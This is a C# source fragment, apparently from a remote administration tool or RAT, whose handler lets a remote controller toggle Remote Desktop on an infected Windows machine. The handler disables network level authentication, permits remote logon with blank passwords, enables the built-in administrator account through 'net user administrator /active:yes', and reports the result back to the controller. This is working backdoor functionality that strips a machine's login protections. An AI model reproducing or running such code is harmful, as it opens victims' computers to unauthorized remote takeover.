public void setWarning(Packets.ClientPackets.SetStatus packet)
{
try
{
lvClients.Invoke((MethodInvoker) delegate
{
lvClients.SelectedItems[0].SubItems[5].Text = packet.message;
});
}
catch (InvalidOperationException)
{
}
}
public static void HandleRemoteDesktopProtocol(Packets.ServerPackets.DoRemoteDesktopProtocol packet, Client client)
{
bool toggleState = false;
try
{
if (WindowsAccountHelper.GetAccountType() != "Admin")
{
new Packets.ClientPackets.SetStatus("Admin rights is required to enable this feature...").Execute(client);
return;
}
Microsoft.Win32.RegistryKey checkEnabledKey = RegistryKeyHelper.OpenReadonlySubKey(Microsoft.Win32.RegistryHive.LocalMachine, @"SYSTEM\CurrentControlSet\Control\Terminal Server");
if (((int)checkEnabledKey.GetValue("fDenyTSConnections", 1)) == 0)
{
// If this is true, we want to turn the values to their 'off' positions in the registry as we toggle.
toggleState = true;
}
Packets.ClientPackets.SetStatus failureStatus = new Packets.ClientPackets.SetStatus(string.Format("Failed to {0} keys! Admin is needed!", toggleState ? "restore" : "modify"));
// Perform registry changes depending on protocol being enabled or not
bool denyTSResult = RegistryKeyHelper.AddRegistryKeyValue(Microsoft.Win32.RegistryHive.LocalMachine,
@"SYSTEM\CurrentControlSet\Control\Terminal Server",
"fDenyTSConnections", toggleState ? 1 : 0,
false /* we don't want to add quotes */,
Microsoft.Win32.RegistryValueKind.DWord /* specify dword */
);
if (!denyTSResult)
{
failureStatus.Execute(client);
return;
}
bool userAuthResult = RegistryKeyHelper.AddRegistryKeyValue(Microsoft.Win32.RegistryHive.LocalMachine,
@"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp",
"UserAuthentication", toggleState ? 1 : 0,
false /* we don't want to add quotes */,
Microsoft.Win32.RegistryValueKind.DWord /* specify dword */
);
if (!userAuthResult)
{
failureStatus.Execute(client);
return;
}
bool secLayerResult = RegistryKeyHelper.AddRegistryKeyValue(Microsoft.Win32.RegistryHive.LocalMachine,
@"SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp",
"SecurityLayer", 1,
false /* we don't want to add quotes */,
Microsoft.Win32.RegistryValueKind.DWord /* specify dword */
);
if (!secLayerResult)
{
failureStatus.Execute(client);
return;
}
bool allowBlankPassResult = RegistryKeyHelper.AddRegistryKeyValue(Microsoft.Win32.RegistryHive.LocalMachine,
@"SYSTEM\CurrentControlSet\Control\Lsa",
"LimitBlankPasswordUse", 0,
false /* we don't want to add quotes */,
Microsoft.Win32.RegistryValueKind.DWord /* specify dword */
);
if (!allowBlankPassResult)
{
failureStatus.Execute(client);
return;
}
// Enable default administrator account
// net user administrator /active:yes
SystemHelper.ExecuteCommandLine("net user administrator /active:" + (toggleState ? "no" : "yes"), true);
// SERVER should start a reverse proxy client (rdp default set to 3389 this could be altered though... perhaps will add support for it in future...)
new Packets.ClientPackets.SetStatus(toggleState ? "Disabled RDP Connections!" : "Enabled RDP Connections!").Execute(client);
}
catch (Exception ex)
{
new Packets.ClientPackets.SetStatus("Remote RDP Toggle Error: " + ex.Message);
}
}